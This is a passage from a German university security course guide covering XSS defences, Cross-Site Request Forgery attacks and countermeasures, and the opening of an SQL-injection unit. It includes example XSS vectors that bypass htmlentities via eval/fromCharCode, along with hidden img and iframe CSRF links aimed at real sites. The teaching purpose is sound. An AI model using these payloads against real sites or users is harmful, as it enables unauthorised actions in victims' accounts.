Schutzmechanismen zu unterscheiden. Denn die Möglichkeiten eines Clients sind
ziemlich begrenzt im Gegensatz zum Server bzgl. des Cross-Site-Scriptings.
Eine Maßnahme seitens des Clients wäre JavaScript zu deaktivieren, dies wäre
allerdings nicht besonders vorteilhaft, da die meisten Websites des Internets sehr
großen Wert auf JavaScript legen.
Einige Websites würden sogar überhaupt nicht ohne JavaScript funktionieren.
Stattdessen kann man Browser Erweiterungen wie NoScript (Mozilla Firefox) oder
NotScripts (Google Chrome) verwenden. Diese Erweiterungen bieten Whitelists
zur Auflistung von vertrauenswürdigen Websites an. Domains die auf einer Whitelist gesetzt wurden, werden als vertrauenswürdige Websites eingestuft. Diesen
Websites wird die Ausführung von JavaScript gestattet. Alle Websites die nicht auf
der Whitelist aufgeführt sind, werden in ihrer Funktionalität, wie z.B. Ausführung
von JavaScript, eingeschränkt. Dennoch sind clientseitige Schutzmaßnahme immer noch relativ uneffizient. Denn HTML-Injektionen (z.B. Einschleusung von
Inlineframes) werden durch diese Maßnahmen nicht verhindert.
Auf der Seite des Servers hat man zahlreiche Möglichkeiten sich vor Cross-SiteScripting Angriffe zu schützen. Jede Benutzereingabe muss als eine verdächtige
Eingabe behandelt werden und somit auf der Serverseite geprüft werden. Bei der
Prüfung für eine Filterung sollte statt einer Blacklist eine Whitelist verwendet
werden. Eine Blacklist blockiert nur die Zeichenketten, die in der Blacklist aufgeführt sind. Dies ist nicht besonders sicher, da man nie genau wissen kann, welche
Angriffsmethoden es noch gibt. Eine Whitelist ist da schon viel sicherer. Diese Art
von Liste lässt nur vom Websiteentwickler definierte Eingaben zu. So wird der
2.6 Schutzmaßnahmen
Spielraum des Angreifers deutlich mehr eingeschränkt.
Wie bereits erwähnt, muss auch die Ausgabe der Benutzereingabe noch zusätzlich
geprüft werden. Zum Beispiel müssen HTML-Zeichen maskiert bzw. kodiert werden, sodass diese nicht als HTML-Befehle interpretiert werden. Viele Programmiersowie Skriptsprachen bieten vordefinierte Funktionen zur Kodierung und Maskierung von HTML-Zeichen.
In PHP kann man mittels der htmlspecialchars()- bzw. htmlentities()Funktion und in Perl mittels HTML::Entities::encode_ entities() problematische HTML-Zeichen maskieren ? ? ?.
Mit dem folgendem PHP-Code:
1
2
3
4
<?php
echo h t m l e n t i t i e s
( ' < s c r i p t > a l e r t ( " XSS " ) ; </ s c r i p t > ' , ENT_QUOTES) ;
?>
wird die Zeichenkette wie folgt umgewandelt:
& lt;script& gt;alert(& quot;XSS& quot;);& lt;/script& gt;
(siehe HTML-Quelltext)
Die Darstellung im Browser sieht wie folgt aus (HTML- bzw. JavaScriptInterpretation des <script>-Tags findet nicht statt):
<script>alert("XSS");</script>
Allerdings kodiert htmlentities() nicht andere Zeichen wie z.B. Klammern (,) und Gleichheitszeichen =.
Somit sind folgende Angriffe noch möglich ?:
Angriffsvektor: javascript:eval(String.fromCharCode
(97,108,101,114,116,40,39,88,83,83,39,41))
(als Wert eines HTML-Attributs)
anfälliger PHP-Code:
<a href="<?php echo htmlentities($_ GET[’homepage’]); ?>">
wird zu:
daraus generiertes HTML-Code:
<a href="javascript:eval(String.fromCharCode
(97,108,101,114,116,40,39,88,83,83,39,41))">
Dieser Cross-Site-Scripting Angriff funktioniert, weil der Angriffsvektor keine Zeichen beinhaltet, die die Funktion htmlentities() maskieren würde (z.B.
Keine Anführungszeichen).
Mit der JavaScript Funktion String.fromCharCode() kann man mittels
der Unicode-Zeichennummern die dementsprechenden Zeichen ausgeben.
Dieser CharCode: 97,108,101,114,116,40,39,88,83,83,39,41 steht
für alert(’XSS’)
eval() interpretiert den übergebenen String als JavaScript-Code.
Seite 31
Seite 32
Studienbrief 2 Cross-Site Scripting
Auch mittels Event-Handler sind Angriffe möglich (sofern der zu injizierende Code an der richtigen Stelle eingeschleust wird). Bei diesem Beispiel wird ein
Formularfeld angegriffen. Die Attributwerte sind weder von einfachen noch von
doppelten Anführungszeichen umschlossen, was nicht verpflichtend ist ?.
Angriffsvektor: 5 onclick=eval(String.fromCharCode
(97,108,101,114,116,40,39,88,83,83,39,41))
Wird in ein Eingabefeld ohne umschließende Anführungszeichen zu einem
JavaScript-Event:
<input type=text name=id value=5 onclick=eval(String.
fromCharCode(97,108,101,114,116,40,39,88,83,83,39,41))>
Allerdings gibt es auch für solche Angriffe geeignete Schutzmaßnahmen. Zum
Beispiel kann man mit einer Web Application Firewall (WAF) die Befehle wie
eval und fromCharCode erkennen und abweisen lassen ?.
Man sieht also, dass es nicht sehr einfach ist sich vor allen möglichen CrossSite-Scripting Angriffsvektoren zu schützen. Aufgrund dieser Schwierigkeit kann
man sich zumindest vor dem Diebstahl von Session-Cookis (meist auftretende
Konsequenz) schützen. Eine Gegenmaßnahme zu dieser Konsequenz ließe sich
mit einem zusätzlichem HTTPOnly Cookie Flag im Set-Cookie HTTP Response
Header bewerkstelligen. Dies führt dazu, dass JavaScript Skripte keinen Zugriff
mehr über die DOM-API auf Cookies haben. Der Zugriff auf Cookies wird nur
noch HTTP-Methoden gewährt. Somit kann man über durch Cross-Site-Scripting
Lücken eingeschleuste Schadecodes keine Cookies mehr stehlen. Diese Funktion
muss allerdings auf dem Server und auf dem Browser des Clients aktiviert
werden.
Ü
Übung 2.1
Entpacken Sie die Datei XSS-Challenge.rar. Führen Sie lokal XSS-Angriffe
auf die Webseiten aus.
Studienbrief 3 Cross-Site Request Forgery
Studienbrief 3 Cross-Site Request Forgery
3.1 Lehrziele
Sie können die wichtige Angriffstechnik Cross-Site Requesst Forgery erklären und
stellen dar, wie durch solche Angriffe Schaden entstehen kann.
Dieser Studienbrief erweitert (?, Kapitel 11.2).
Cross-Site Request Forgery, kurz CSRF oder auch XSRF, ist eine Angriffstechnik
die hauptsächlich im Internet Anwendung findet. Es wird später aber noch gezeigt,
das CSRF Angriffe eben so auf Anwendungen im Intranet anwendbar sind, dazu
zählen zum Beispiel Router.
Dabei nutzt ein Angreifer das Vertrauen einer Webseite in einen authentifizierten
Nutzer aus, um in dessen Namen Befehle auszuführen. Dazu versucht der Angreifer seinem Opfer oder Mittelsmann dazu zu verleiten einen Link auszuführen.
Öffnet dieser Mittelsmann nun den Link wird dieser durch seinen Browser
ausgeführt. Da dieser Browser auf dem Computer des Mittelsmannes läuft, verfügt
er auch über die Berechtigungen und Zugriffsmöglichkeiten dieses Mittelsmanns.
Das hat zur Folge, das der Link, der vom Angreifer initiiert wurde, im Namen des
Mittelsmanns ausgeführt wird.
Der Begriff ”Cross-Site” leitet sich daraus ab, dass eine bösartige Webseite oder
Angreifer einen Request beim User auslöst, der an eine andere Webseite geschickt
wird.
In den ersten beiden Kapiteln werden wir zuerst erklären was ein CSRF Angriff ist sowie die technischen Hintergründe erläutern.
Im Teil ?? werden die verschiedenen Möglichkeiten eines Angriffes erklärt und die
eigentlichen Angriffsziele aufgezeigt. Im letzten Kapitel ?? werden die möglichen
Gegenmaßnahmen vorgestellt und bewertet.
3.2 Motivation
Zur Veranschaulichung des Themas werden wir mit einem Beispiel beginnen. Das
Beispiel zeigt einen CSRF Angriff in einem vereinfachten Szenario. Dazu nehmen
wir an, Bob möchte Alice per Onlinebanking 10 Euro überweisen. Dazu füllt er
das Formular auf der Webseite seiner Bank aus und schickt dieses ab. Dies löst
einen GET Request aus, der vom Browser an die Bank geschickt wird:
http://bank.de/ueberweisung.php?AbsenderKonto=bob?
,→ EmpfaengerKonto=alice?betrag=10
Der praktische Angriff darauf könnte wie in Abbildung ?? ablaufen.
In Schritt 1 sendet der Angreifer Oskar seinen präparierten Link, zum Beispiel per
EMail, an Bob. Klickt Bob nun in Schritt 2 auf diesen Link wird dieser von seinem
Browser in Schritt 3 ausgeführt. Dies wiederum veranlasst die Bank, in Schritt 4,
von Bob’s Konto 1000 Euro an Oscar zu überweisen. Denn die Bank kann in diesem
Fall nicht erkennen, dass Bob nicht der rechtmäßige Initiator dieser Anfrage war.
Hier ist der Mittelsmann gleichzeitig das Opfer da ihm 1000 Euro entwendet wurden, es werden aber später noch Angriffe gezeigt, wo eine Webseite der betroffene
Teilnehmer dieses Angriffes ist.
Eine wichtige Bedingung, damit ein Angriff gelingt, ist, dass der Angreifer alle
Parameter einer solchen Anfrage kennt und nachbilden kann. Dies ist aber meistens
Seite 33
Seite 34
Studienbrief 3 Cross-Site Request Forgery
Abb. 3.1: Beispiel Angriff
Bob
Oscar
bank.de
1. sendet Mail mit präparierten Link
http://bank.de/ueberweisung.php?
AbsenderKonto=bob?
EmpfaengerKonto=oscar?
betrag=1000
2. Bob öffnet die Mail und
klickt den Link an
3. Bob's Browser ruft Link mit
Parametern auf
4. Die Bank überweist Oscar 1000 € von Bob's Konto
kein großes Problem da ein Angreifer sich zum Beispiel ein eigenes Benutzerkonto
bei einer betroffenen Webseite anlegen kann oder die Software frei verfügbar ist.
3.3 Technischer Hintergrund
Was ist nun das Problem, das diesen Angriff ermöglicht? Um das beantworten
zu können muss man sich anschauen wie die Kommunikation zwischen den
Benutzern und einer Webseite funktioniert.
Die Kommunikation läuft über das HTTP Protokoll. Der Benutzer schickt eine
Anfrage, den HTTP Request, an den Webserver. Dieser Antwortet mit der HTTP
Response.
Schauen wir uns nun den zuvor gezeigten Angriff im Detail an. Der HTTP Request
würde vereinfacht folgendermaßen aussehen:
GET /ueberweisung.php?AbsenderKonto=bob?
,→ EmpfaengerKonto=oscar?betrag=1000 HTTP/1.1
Host: www.bank.de
Die Antwort der Webseite darauf, also die HTTP Response, könnte wie folgt sein:
HTTP/1.1 200 OK
Server: Apache/2.4.9 (Unix) PHP/5.4.28
Content-Length: 25
Connection: close
Content-Type: text/html
Ueberweisung erfolgreich!
Wie man erkennt, findet in diesen Nachrichten keine Identifikation des Users
gegenüber dem Webserver statt. Der Grund dafür ist die Statuslosigkeit von HTTP.
Das heißt, keine Anfrage von einem Benutzer kann einer Anfrage aus der Vergangenheit oder in der Zukunft zugeordnet werden.
3.3 Technischer Hintergrund
Seite 35
Da aber auf dieser Grundlage, in der ein User nicht seinen Aktivitäten zuzuordnen
ist, ein modernes Internet mit seinen dynamischen Webseiten, Accounts für die
verschiedenen Plattformen und einem Einkaufswagen für Onlineshopping nicht
denkbar ist, führte man eine Session-ID für jeden User eine. Diese Session-ID, oft
auch als Cookie bekannt, wird bei jeder HTTP Anfrage mitgeschickt, wodurch die
Webseite jeden Ihrer User seinen Aktionen zuordnen kann.
Das Prinzip dahinter funktioniert folgendermaßen: Der Benutzer authentifiziert
sich gegenüber der Webseite typischerweise mit einer Kombination aus Benutzername und Passwort. Daraufhin wird ihm im Browser von der Webseite ein
Cookie gesetzt. Navigiert der Nutzer nun über die Webseite so wird bei jeder
Anfrage das Cookie mitgesendet wodurch die Webseite weiß das sich um den
bereits authentifizierten Nutzer handelt.
Da Cookies aber vollkommen automatisch bei jeder Anfrage im HTTP Header
mitgesendet werden schützen sie nicht vor CSRF Angriffen. Denn wenn der
Browser den Link vom Angreifer ausführt nimmt er an das es sich um eine
legitime Anfrage handelt weshalb er das Cookie mit überträgt. Das führt dazu das
die Anfrage trotzdem im Namen des User ausgeführt wird.
CSRF Angriffe die sich der Cookies bedienen nennt man auch Session-Riding
Angriffe.
Der große Vorteil für einen Angreifer besteht darin das er nicht zuerst an die
Zugangsdaten seiner Opfer gelangen muss um in deren Namen Aktionen auszuführen.
Neben der Cookie basierten Authentifikation existiert noch die Basic oder Digest
Authentifikation. Diese bieten die Möglichkeit einen User auf HTTP Ebene zu authentifizieren. Dabei sendet der Browser Authentifikationdaten bei jeder Anfrage
im Authentifikations Header automatisch mit. Diese Technik ist aber genau so
anfällig für CSRF Angriffe.
Abb. 3.2: Beispiel Angriff
mit Session Cookie
Bob
Oscar
bank.de
1. sendet Mail mit präparierten Link
http://bank.de/ueberweisung.php?
AbsenderKonto=bob?
EmpfaengerKonto=oscar?
betrag=1000
2. Bob öffnet die Mail und
klickt den Link an
3. Bob's Browser ruft Link mit
Parametern auf
Authentifizierte
Session
4. Die Bank überweist Oscar 1000 € von Bob's Konto
Für das spätere Verständnis möchten wir noch auf den Unterschied zwischen GET
und POST Request im HTTP Protokoll eingehen.
In dem zuvor gezeigtem Beispiel werden die Daten per GET Methode an den Bank
Server übertragen. Das heißt sie werden als Parameter an die URL angehängt. Das
sollte bei sensiblen Daten aber vermieden werden da sie so ungewollt öffentlich
werden könnten. Zum Beispiel könnte dieser Request mit all seinen Daten als
Seite 36
Studienbrief 3 Cross-Site Request Forgery
Lesezeichen im Browser gespeichert werden.
Hier sollte besser die POST Methode gewählt werden. Bei dieser Methode werden die Daten unterhalb des HTTP Header übertragen und können so nicht so
leicht ungewollt in falsche Hände geraden. Würde man den zuvor gezeigten
Request an die Bank in eine POST anfrage umwandeln könnte er wie folgt aussehen:
POST /ueberweisung.php HTTP/1.1
Host: bank.de
Content-Type: application/x-www-form-urlencoded
Content-Length: 51
AbsenderKonto=bob&EmpfaengerKonto=oscar&betrag=1000
3.4 Die Angriffsvarianten und Angriffsziele
Im ersten Kapitel haben wir eine sehr vereinfache Variante eines CSRF Angriffes
vorgestellt. Die Grundannahme war, dass das Opfer den Link per Mail oder
einem Messengerdienst erhält. Allerdings wird ein Link sehr schnell länger und
komplexer als in unseren Beispielen. Daher kann es vorkommen, dass erfahrene
Computernutzer diese nicht mehr ohne weiteres anklicken.
Aus diesem Grund wird ein Angreifer dazu übergehen seinen Angriff zu verschleiern. Dies könnte er in diesem Szenario zum Beispiel mithilfe eines URL Shorteners
tun. Also ein Dienst der mithilfe einer Alias-URL auf die original URL weiterleitet.
In diesem Fall würde das Opfer nur den Stellvertreterlink sehen was aber praktisch
nichts ändert, da der Browser durch die Weiterleitung schlussendlich ohnehin die
bösartige URL lädt.
Diese Technik erfordert immer noch die Interaktion des Opfers. Um dies zu
umgehen könnte ein Angreifer den Link in HTML Code einbetten. Ein gutes
Beispiel dafür wäre der HTML Code der ein Bild lädt. Wenn er diesen Code nun
auf einer Webseite oder in einer HTML E-Mail einbettet wird dieser automatisch
vom Browser nachgeladen. Im Falle einer HTML Mail setzt das voraus das der User
die Mail in seinem Browser aufruft, zum Beispiel über seine Webmailoberfläche.
Der Code hierfür könnte wie folgt aussehen:
<img src="http://bank.de/ueberweisung.php?AbsenderKonto=opfer?
,→ EmpfaengerKonto=angreifer?betrag=1000" width="0" height="0" \>
An diesem Beispiel kann man auch ableiten, dass der Angriff nicht direkt vom
Angreifer kommen muss sondern auch über eine dritte Instanz kommen kann.
Beispiel dafür wären Foren oder Blogs wo der bösartige Code in den Kommentaren hinterlassen wird. Denkbar ist auch eine Webseite die der Angreifer direkt
kontrolliert. Dort könnte er einen unsichtbaren IFrame ? einbinden.
<iframe src="http://facebook.com/logout.do" style="display:none"></ifram
Eine weitere Möglichkeit den Link von einem Opfer ausführen zu lassen, ist das
Einbetten in eine Cross-Site-Scripting Lücken, kurz XSS.
XSS Lücken sind Sicherheitsprobleme auf einer Webseite die es dem Angreifer erlauben eigenen Javascript Code im Browser des Webseitenbesuchers auszuführen.
Öffnet das Opfer die Webseite führt der Browser automatisch den XSS Code aus.
Dieser Javascript Code öffnet wiederum den CSRF Link.
3.4 Die Angriffsvarianten und Angriffsziele
<script src="http://forum.de/addAdmin.php?name=attacker"/>
Zur Verdeutlichung der Angriffsmöglichkeiten und Variationen möchten wir zwei
konkrete Angriffe auf auf große Webseiten heranziehen. Dabei handelt es sich um
die Webseiten von Youtube 1 und der New York Times 2 . Beide Angriffe wurden
2008 von von William Zeller und Edward W. Felter entdeckt und in dem Paper
”Cross-Site Request Forgeries: Exploitation and Prevention” ? veröffentlicht.
Die CSRF Lücke auf der Webseite der New York Times ermöglichte es einem Angreifer mit der E-Mailadresse seiner Opfer Mails zu versenden. Dies konnte er
dazu nutzen um Spammails zu versenden oder dessen E-Mailadresse in Erfahrung
zu bringen indem er über sie eine Mail an sich selber schickte.
Dazu bediente er sich einer eigentlich sinnvollen aber nicht gegen CSRF abgesicherten Funktion der Webseite. Denn die Webseite bot seinen angemeldeten User,
also denen die eine aktive Session besaßen, die Möglichkeit Zeitungsartikel per
E-Mail weiterzuempfehlen. Das Formular, dass diese Funktionalität bereitstellte,
setzte sich wie folgt zusammen:
<form
action="http://www.nytimes.com/mem/emailthis.html"
method="POST"
enctype="application/x-www-form-urlencoded">
<input type="checkbox" id="copytoself" name="copytoself" value="Y">
<input id="recipients" name="recipients" type="text" value="">
<input type="hidden" name="state" value="1">
<textarea id="message" name="personalnote" maxlength="512"></textarea>
<input type="hidden" name="type" value="1">
<input type="hidden" name="url" value="[...]">
<input type="hidden" name="title" value="[...]">
<input type="hidden" name="description" value="[...]">
...
</form>
Die Besonderheit war hier, dass dieses Formular, dass eigentlich ein POST Request
ausgelöst hätte, auch zu einem GET Request umgeformt werden konnte. Dies gelang indem man an die URL die einzelnen Parametern mit ihren Werten anhängte.
So konnte ein Angreifer diese URL wie zuvor beschrieben in einem <img>Tag
einbetten.
Viele weitere CSRF Lücken fanden die beiden Forscher auf der Video Plattform
Youtube. Laut Zeller und Felter waren zu dem Zeitpunkt fast keine Userinteraktionen gegen CSRF Angriffe geschützt. So beschreiben sie unter anderem, dass
ein Angreifer durch unterschieben des folgenden Links beliebige Videos zu den
persönlichen Favoriten seiner Opfer hinzufügen konnte. Dazu musst er nur die
VIDEO_ID auf das gewünschtes Video abändern und den als Bild getarnten Link
an sein Opfer senden.
<img src="http://youtube.com/watch_ajax?
,→ action_add_favorite_playlist=1&video_id=[VIDEO_ID]&playlist_id=&
1
2
http://www.youtube.com/
http://www.nytimes.com/
Seite 37
Seite 38
Studienbrief 3 Cross-Site Request Forgery
,→ add_to_favorite=1&show=1&button=AddvideoasFavorite"/>
Die Konsequenz war, dass der der Angreifer das Youtuberanking beliebig manipulieren konnte. Außerdem fanden die beiden Forscher eine Möglichkeit Ihren
Account in die Freundesliste der Opfer einzutragen. Dadurch wurde in die Privatsphäre eingegriffen, denn Freunde eines Accounts können die privaten Favoritenliste der Opfer einsehen.
Wir haben nun an den Beispielen Youtube und New York Times gesehen, dass
praktisch jede Webseite Ziel eines CSRF-Angriffes werden kann.
Da heutzutage aber auch Abseits des Internets viele Geräte und Funktionen, die
über sogenannte Webinterface, also Konfigurationensoberflächen, die auf der selben Technik, wie Webseiten basieren, bedienbar sind, können dort die selben
Sicherheitsprobleme auftreten.
Beispiele für diese Webinterface sind in jedem Fall Router und NAS Geräte. Denn
deren Konfiguration ist in den allermeisten Fällen nur über derartige Oberflächen
möglich.
Aber auch ein Intranet oder ein Unternehmensnetzwerk bietet genügend potenziell
angreifbare Geräte und Dienste. Hier sind interne Wiki oder Bug Tracking Server
zu nennen aber auch interne Blogs oder Webseiten die der unternehmensinternen
Organisation dienen.
Aber auch im privaten Bereich wird die Angriffsfläche durch die fortschreitende
Heimautomatisierung ? oder netzwerkfähige Geräte wie SmartTV’s, die an das
interne Netz oder das Internet angeschlossen werden voraussichtlich größer.
Es gibt mehrere Möglichkeiten sich als Client oder als eine Webanwendung vor
Angriffen zu schützen.
Beginnen werden wir in dem Kapitel mit den clientseitigen Schutzmöglichkeiten.
Im zweiten Teil ?? werden dann die serverseitigen Gegenmaßnahmen erklärt und
bewertet.
3.5 Clientseitige Gegenmaßnahmen
Möchte man sich als Client einer Webseiten schützen, so muss man zuerst einmal
feststellen, dass die weit verbreiteten Schutzprogramme wie ein Anti-Virus oder
eine Personal Firewall hier nicht weiterhelfen. Der Grund dafür ist, dass ein
typisches Anti-Virus Programm diesen Bereich nicht abdeckt und für andere
Gefahren entwickelt wurde.
Eine Firewall versagt hier ebenfalls da die Links über vollkommen legitime oder
bestehende Verbindungen zu dem Benutzer gelangen.
Aber es gibt abseits davon Möglichkeiten sich als Client vor CSRF Angriffen
zu schützen. Dazu solle man zu aller erst ein paar Grundregeln befolgen.
• Niemals blind Links folgen. Vor dem ausführen sollte man diesen zuerst
prüfen, denn wie schon zuvor erwähnt, sind CSRF Links oft sehr lang und
komplex. Dazu nutzt man im Browser am besten die Statusleiste in der der Link
in seiner vollen Länge angezeigt wird. Sollte ein Angreifer einen URL Shortener
benutzen kann man auf Dienste zurückgreifen die die dahinter liegende URL
auflösen ohne die Webseite zu laden, zum Beispiel longurl.org 3
• Mails sollten nicht in HTML Format anzeigt werden. Das gilt gerade dann, wenn
3
http://longurl.org/
3.6 Serverseitige Gegenmaßnahmen
man die Mails über eine Weboberfläche abruft, da sich so der HTML Code schon
im Browserkontext befindet. Hier ist die reine Textform zu bevorzugen, da so
kein HTML Code automatisch geladen wird. Das stoppt CSRF Angriffe die zum
Beispiel in den <img> Tags versteckt sind.
• Man sollte auf Webanwendungen nur angemeldet sein solang man sie nutzt.
Da die meisten CSRF Angriffe sich auf Session Cookies stützen, funktionieren sie
ohne aktive Session nicht mehr. Daraus folgt, dass man auf Komfortfunktionen
wie ”Angemeldet bleiben” oder ”Anmeldung merken” verzichten sollte.
• Verschiedene Browser für verschiedene Aufgaben. Für sehr sensible Tätigkeiten,
wie Onlinebanking, sollte ein extra Browser benutzt werden. Wenn man dies strikt
trennt können keine bösartigen Links, auf die man beim alltäglichen surfen treffen
kann, in Kontakt zu sensiblen Webseiten oder Daten kommen.
• Javascript im Browser deaktivieren. Dies verkleinert die Angriffsfläche da XSS
basierte CSRF Angriffe nicht mehr greifen. Allerdings funktionieren die anderen
Techniken weiterhin und man muss im heutigen Web sehr starke Einschränkungen
hinnehmen, weshalb dies nicht mehr praktikabel scheint.
Möchte man sich darüber hinaus schützen gibt es noch die Möglichkeit durch
Erweiterungen seinen Browser zu härten.
Hier ist zu aller erst NoScript 4 zu nennen. Daneben existieren unter anderem für
den Firefox Browser noch RequestPolicy 5 oder CsFire 6 .
Die Addons versuchen das Problem auf verschiedene Arten zu lösen. NoScript
unterscheidet zwischen vertrauenswürdigen und nicht vertrauenswürdigen Seiten.
Wird nun von einer nicht vertrauenswürdigen Seite ein POST Request an eine
vertrauenswürdige Seite ausgelöst entfernt NoScript den Inhalt aus den Parametern.
CsFire entfernt bei fraglichen Requests die Session Cookies oder den Authentication
Header.
RequestPolicy geht hingegen sehr restriktiv vor und verbietet Cross-Site Requests
komplett wenn sie nicht von einer Seite kommt die auf der Whitelist stehen.
3.6 Serverseitige Gegenmaßnahmen
Auf der Serverseite gilt ebenfalls, dass Antivirenprogramme oder eine Firewall
keine Schutz vor CSRF Angriffe bieten. Allerdings gibt es hier gute Möglichkeiten
seine Webanwendung zu schützen.
Die Aufgabe besteht nun darin eine verlässliche Möglichkeit zu finden valide
Anfragen eines Benutzer von den unlegitimierten zu unterscheiden.
Eine naheliegende Möglichkeit ist es den Referrer ? zu nutzen. Bei dem Referrer
handelt es sich um ein optionales HTTP Header Feld, das anzeigt von welcher
Seite der Benutzer zur Aktuellen gelangt ist.
In der Theorie macht das den Referrer zu einer gute CSRF Gegenmaßnahme, denn
sollte ein Benutzer eine Funktion aufrufen, obwohl der Referrer nicht auf die
eigene Seite verweist, so ist es sehr unwahrscheinlich, dass es sich hierbei legitime
Anfrage handelt, da der User vorher zumindest mal die Startseite aufgerufen
haben sollte.
Es gibt aber einen Grund, der gegen den Referrer als Erkennungsmerkmal für
einen CSRF Angriff spricht. Es gibt Plugins oder Proxys die ganz bewusst den
Referrer manipulieren. Dies dient unter anderem dem Datenschutz der User.
Auch ist es denkbar, dass ein User das Überweisungsformular in seinen Favoriten
gespeichert hat. All diese Punkte würde aber bei Webseiten, die den Referrer als
Erkennungsmerkmal einsetzen, zu ”false positives” führen. Aus diesem Grund ist
4
5
6
http://noscript.net/
https://www.requestpolicy.com/
https://distrinet.cs.kuleuven.be/software/CsFire/
Seite 39
Seite 40
Studienbrief 3 Cross-Site Request Forgery
vom Referrer als alleinige CSRF Gegenmaßnahme abzuraten.
Eine weitere Möglichkeit wäre, dass die Webseite nur HTTP-POST Anfragen
akzeptiert. Prinzipiell ist das keine schlechte Idee, da so auch keine Informationen
in der URL geleakt werden. Diese Maßnahme verhindert CSRF Angriffe, die per
GET-Request arbeiten. Allerdings bietet sie keinen vollständigen Schutz. Denn
ein Angreifer kann auf einer von ihm kontrollierten Webseite den POST Request
in einem verstecktes Formular nachbauen und per Javascript automatisch vom
Browser abschicken lassen.
Eine ebenso ungenügende Schutzmaßnahme sind ”Secret Cookies”, da sie, genau
wie jedes andere Cookie automatisch mitgesendet werden. Auch das Absichern
über mehrstufigen Aktionen bietet keinen Schutz, solange der Angreifer die
Abfolge erraten oder ableiten kann.
Nun werden wirksame Gegenmaßnamen, die CSRF Angriffe verhindern können,
vorgestellt. Hier ist zu aller erst das CSRF Token zu nennen. Dabei handelt es sich
um eine zufällige Zeichenkette, sehr ähnlich dem Cookie. Allerdings wird dieses
Token nicht automatisch mitgesendet, da es sich hierbei im einen extra Parameter
handelt. Diesen Parameter befindet sich in einem Hidden Feld innerhalb des
HTML Codes.
Die Idee dahinter ist, dass die Anfragen der User nur von der Webseite akzeptiert
werden, wenn er das richtige CSRF Token mitsendet. Dazu wird dem User, sobald
er die Webseite besucht, von dieser ein Token zugewiesen. Die Webseite merkt
sich nun welches Token zu welchem User und seinem Cookie gehört. Sendet der
User nun eine neue Anfrage muss er das passende Token zurückschicken. Die
Webseite überprüft nun erst ob das gesendete Token zu der User Session passt. Ist
dies der Fall so führt sie die Anfrage aus, ansonsten wird sie verworfen.
Da ein Angreifer dieses Token nun nicht kennen kann, werden die von ihm initiierten Anfrage verworfen, da entweder kein oder ein falsches Token mitgesendet
wird.
Der Browser sendet das Token automatisch in einem versteckten Formular Feld
wieder zurück an die Webseite. Praktisch könnte dieses Feld folgendermaßen
aussehen:
<input type="hidden" name="csrf_token" value="ZTNi [...] g1NQ=="/>
Es gibt verschiedene Möglichkeiten ein solches Token zu bilden und einzusetzen.
Zum einen kann es zufällig vom Server generiert werden und in dem Hidden-Feld
an den User übertragen werden. Hier kann dann noch unterschieden werden
ob das Token für die gesamte Session gültig bleibt oder ob für jede Anfrage ein
Neues generiert wird und es dann immer nur für eine Anfrage Gültigkeit besitzt.
Die erhöht theoretisch die Sicherheit, da, sollte es einen Angreifer doch gelungen
sein an das Token zu gelangen, er dies nur einmal einsetzen kann oder es schon
verfallen ist, da der User in der Zwischenzeit schon neue Anfrage getätigt hat.
Eine weitere Möglichkeit ? ein Token zu bilden wäre ein wie folgt aufgebauter
HMAC der Browser gebildet und mit der Anfrage an die Webseite gesendet wird.
HMAC_sha1(action_name + secret, session_id)
Da nur der Server weiß welche Aktion der User auf der Webseite ausgelöst hat,
3.6 Serverseitige Gegenmaßnahmen
welche SessionID er besitzt und welches Geheimnis die beiden zuvor ausgehandelt
haben ist er der einzige neben dem User, der ebenfalls den HMAC darüber bilden
und so das Token verifizieren kann.
Allerdings gibt es auch einige Punkte bezüglich der Token zu beachten. Zum einen
sollte das Token immer in den POST Daten übertragen werden, da es in den GET
Daten, also der URL, zu leicht von dritten entwendet werden kann. Zum Beispiel
aus den Lesezeichen des Browsers oder dem Referrer Feld.
Auch sollte es am besten nur über verschlüsselte Verbindungen ausgetauscht
werden, da es so schwerer wird es zu entwenden. Wichtig ist außerdem das alle
zufälligen Werte wirklich zufällig sind und nicht etwa pro User oder Anfrage
hochgezählt werden da ein Angreifer diese sonst erraten könnte.
Die wichtigste Voraussetzung für ein funktionierendes CSRF Token ist wohl das
die Webseite keine XSS Schwachstellen aufweist, da ein Angreifer sonst über diese
das Token auslesen und in seinen Angriff integrieren könnte.
Eine weitere Möglichkeit ist das sogenannte Double Submit Cookie. Dabei weist
die Webseite dem User nicht nur ein Session Cookie sonder zusätzlich ein CSRF
Cookie zu. Beide Cookies werden natürlich bei jedem Request des User im HTTP
Header mit übertragen. Allerdings fügt der User sein CSRF Cookie bei einer von
ihm initiierten Anfrage ebenfalls als verstecktes Formularfeld ein. Die Webseite
kann nun das erhaltene Cookie mit dem Inhalt aus dem Formular abgleichen um
festzustellen ob es sich um eine legitime Anfrage handelt.
Dieses Verfahren funktioniert da ein Angreifer nicht im Besitz des CSRF Cookies
ist. Führt er nun einen Angriff aus schickt der User zwar sein CSRF Cookie im
HTTP Header mit aber im versteckten Formularfeld ist kein oder das falsche
Cookie hinterlegt da der Angreifer dies nun in seinen Angriff einbauen konnte.
Neben diesen Token basierten Lösungen können Webseitenbetreiber noch den
Origin HTTP Header Check ? einführen. Dieser ähnelt sehr stark dem Referre Feld
wurde allerdings es extra als Sicherheitsfeature entworfen.
Bei einigen Webseitenfunktionen kann man auch extra Hürden ? in Form von
CAPTCHA oder eine erneute Passwortabfragen einbauen. Dies schränkt allerdings
die Benutzbarkeit der Webseite ein weshalb es nur bei den wirklich kritischen
Funktionen zum Einsatz kommen sollte.
Außerdem sollte schon bei dem Design einer Webseite darauf geachtet werden,
dass man dem User immer die Möglichkeit gibt sich auszuloggen, damit so die
Session ungültig wird. Außerdem sollte man die Lebenszeit der Session Cookies
begrenzen.
Seite 41
Studienbrief 4 SQL-Injection
Seite 43
Studienbrief 4 SQL-Injection
4.1 Lehrziele
Sie können die wichtige Angriffstechnik SQL-Injection erläutern und darstellen,
wie durch solche Angriffe Schaden entstehen kann.
Dieser Studienbrief erweitert (?, Kapitel 11.2).
Datenbanken sind heutzutage ein wichtiger Bestandteil in unserer Gesellschaft.
Auch wenn diese kaum wahrgenommen werden, sind wir extrem abhängig von
ihnen.
Durch unvorsichtiges Vorgehen seitens des Entwicklers entstehen Sicherheitslücken, welche von Angreifern ausgenutzt werden können, sodass ein großer
Schaden entsteht. Ziel dieser Seminararbeit ist dem Leser die Grundlagen von Datenbanken zu erklären, Gefahren an einem expliziten Beispiel aufzudecken, sowie
die Probleme bei unsicherer Programmierung zu analysieren und zu lösen.
4.2 Datenbank im Allgemeinen und ihre Verwendung
